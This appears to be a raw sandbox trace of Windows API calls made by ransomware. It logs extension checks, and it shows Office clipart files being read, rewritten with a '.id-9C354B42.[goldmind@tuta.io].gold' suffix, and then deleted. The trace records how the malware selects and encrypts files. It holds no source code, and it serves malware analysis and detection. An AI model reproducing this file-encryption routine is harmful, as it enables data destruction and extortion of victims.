lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.884] lstrlenW (lpString=".rar") returned 4 [0096.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.884] lstrlenW (lpString=".bz2") returned 4 [0096.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.884] lstrlenW (lpString=".7z") returned 3 [0096.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.884] lstrlenW (lpString=".dbf") returned 4 [0096.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.884] lstrlenW (lpString=".1cd") returned 4 [0096.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.884] lstrlenW (lpString=".jpg") returned 4 [0096.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.884] lstrlenW (lpString=".doc") returned 4 [0096.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.884] lstrlenW (lpString=".docx") returned 5 [0096.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.884] lstrlenW (lpString=".pdf") returned 4 [0096.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.884] lstrlenW (lpString=".xls") returned 4 [0096.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.884] lstrlenW (lpString=".xlsx") returned 5 [0096.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.884] lstrlenW (lpString=".ppt") returned 4 [0096.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.884] lstrlenW (lpString=".zip") returned 4 [0096.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.884] lstrlenW (lpString=".rar") returned 4 [0096.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.885] lstrlenW (lpString=".bz2") returned 4 [0096.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.885] lstrlenW (lpString=".7z") returned 3 [0096.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.885] lstrlenW (lpString=".dbf") returned 4 [0096.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.885] lstrlenW (lpString=".1cd") returned 4 [0096.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0096.885] lstrlenW (lpString=".jpg") returned 4 [0096.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.885] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.885] lstrlenW (lpString="FLAP.WMF") returned 8 [0096.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.920] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2070) returned 1 [0096.920] CloseHandle (hObject=0x3c0) returned 1 [0096.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 0x20 [0096.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.928] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.929] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.929] GetLastError () returned 0x0 [0096.929] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x816, lpOverlapped=0x0) returned 1 [0096.931] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x820, lpOverlapped=0x0) returned 1 [0096.932] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.932] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0096.932] SetEndOfFile (hFile=0x3c0) returned 1 [0096.932] CloseHandle (hObject=0x3c0) returned 1 [0096.932] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.932] SetEndOfFile (hFile=0x3c4) returned 1 [0096.934] CloseHandle (hObject=0x3c4) returned 1 [0096.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 1 [0096.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.934] lstrlenW (lpString=".doc") returned 4 [0096.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.934] lstrlenW (lpString=".docx") returned 5 [0096.934] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0096.934] lstrlenW (lpString=".pdf") returned 4 [0096.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.934] lstrlenW (lpString=".xls") returned 4 [0096.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.934] lstrlenW (lpString=".xlsx") returned 5 [0096.934] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0096.935] lstrlenW (lpString=".ppt") returned 4 [0096.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.935] lstrlenW (lpString=".zip") returned 4 [0096.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.935] lstrlenW (lpString=".rar") returned 4 [0096.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString=".bz2") returned 4 [0096.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString=".7z") returned 3 [0096.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.935] lstrlenW (lpString=".dbf") returned 4 [0096.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.935] lstrlenW (lpString=".1cd") returned 4 [0096.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.935] lstrlenW (lpString=".jpg") returned 4 [0096.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.935] lstrlenW (lpString=".doc") returned 4 [0096.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString=".docx") returned 5 [0096.935] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0096.935] lstrlenW (lpString=".pdf") returned 4 [0096.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString=".xls") returned 4 [0096.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.935] lstrlenW (lpString=".xlsx") returned 5 [0096.935] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0096.935] lstrlenW (lpString=".ppt") returned 4 [0096.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.935] lstrlenW (lpString=".zip") returned 4 [0096.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.935] lstrlenW (lpString=".rar") returned 4 [0096.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString=".bz2") returned 4 [0096.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString=".7z") returned 3 [0096.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.935] lstrlenW (lpString=".dbf") returned 4 [0096.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.935] lstrlenW (lpString=".1cd") returned 4 [0096.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0096.935] lstrlenW (lpString=".jpg") returned 4 [0096.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.936] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.936] lstrlenW (lpString="HH00241_.WMF") returned 12 [0096.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.936] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1960) returned 1 [0096.936] CloseHandle (hObject=0x3c4) returned 1 [0096.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20 [0096.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.936] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.936] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.937] GetLastError () returned 0x0 [0096.937] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x7a8, lpOverlapped=0x0) returned 1 [0096.941] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x7b0, lpOverlapped=0x0) returned 1 [0096.942] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.942] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.942] SetEndOfFile (hFile=0x3c0) returned 1 [0096.942] CloseHandle (hObject=0x3c0) returned 1 [0096.942] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.942] SetEndOfFile (hFile=0x3c4) returned 1 [0096.943] CloseHandle (hObject=0x3c4) returned 1 [0096.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0096.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.944] lstrlenW (lpString=".doc") returned 4 [0096.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.944] lstrlenW (lpString=".docx") returned 5 [0096.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.944] lstrlenW (lpString=".pdf") returned 4 [0096.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.944] lstrlenW (lpString=".xls") returned 4 [0096.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.944] lstrlenW (lpString=".xlsx") returned 5 [0096.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.944] lstrlenW (lpString=".ppt") returned 4 [0096.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.944] lstrlenW (lpString=".zip") returned 4 [0096.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.945] lstrlenW (lpString=".rar") returned 4 [0096.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString=".bz2") returned 4 [0096.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString=".7z") returned 3 [0096.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.945] lstrlenW (lpString=".dbf") returned 4 [0096.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.945] lstrlenW (lpString=".1cd") returned 4 [0096.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.945] lstrlenW (lpString=".jpg") returned 4 [0096.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.945] lstrlenW (lpString=".doc") returned 4 [0096.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString=".docx") returned 5 [0096.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.945] lstrlenW (lpString=".pdf") returned 4 [0096.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString=".xls") returned 4 [0096.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.945] lstrlenW (lpString=".xlsx") returned 5 [0096.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.945] lstrlenW (lpString=".ppt") returned 4 [0096.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.945] lstrlenW (lpString=".zip") returned 4 [0096.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.945] lstrlenW (lpString=".rar") returned 4 [0096.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString=".bz2") returned 4 [0096.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString=".7z") returned 3 [0096.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.945] lstrlenW (lpString=".dbf") returned 4 [0096.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.945] lstrlenW (lpString=".1cd") returned 4 [0096.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0096.945] lstrlenW (lpString=".jpg") returned 4 [0096.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.945] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.946] lstrlenW (lpString="HH00260_.WMF") returned 12 [0096.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.947] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3662) returned 1 [0096.947] CloseHandle (hObject=0x3c4) returned 1 [0096.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20 [0096.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.947] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.947] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.948] GetLastError () returned 0x0 [0096.948] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xe4e, lpOverlapped=0x0) returned 1 [0096.950] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe50, lpOverlapped=0x0) returned 1 [0096.951] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.951] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.951] SetEndOfFile (hFile=0x3c0) returned 1 [0096.951] CloseHandle (hObject=0x3c0) returned 1 [0096.951] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.951] SetEndOfFile (hFile=0x3c4) returned 1 [0096.953] CloseHandle (hObject=0x3c4) returned 1 [0096.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0096.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.955] lstrlenW (lpString=".doc") returned 4 [0096.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.955] lstrlenW (lpString=".docx") returned 5 [0096.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.955] lstrlenW (lpString=".pdf") returned 4 [0096.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.955] lstrlenW (lpString=".xls") returned 4 [0096.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.955] lstrlenW (lpString=".xlsx") returned 5 [0096.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.955] lstrlenW (lpString=".ppt") returned 4 [0096.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.955] lstrlenW (lpString=".zip") returned 4 [0096.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.955] lstrlenW (lpString=".rar") returned 4 [0096.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.955] lstrlenW (lpString=".bz2") returned 4 [0096.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.955] lstrlenW (lpString=".7z") returned 3 [0096.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.955] lstrlenW (lpString=".dbf") returned 4 [0096.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 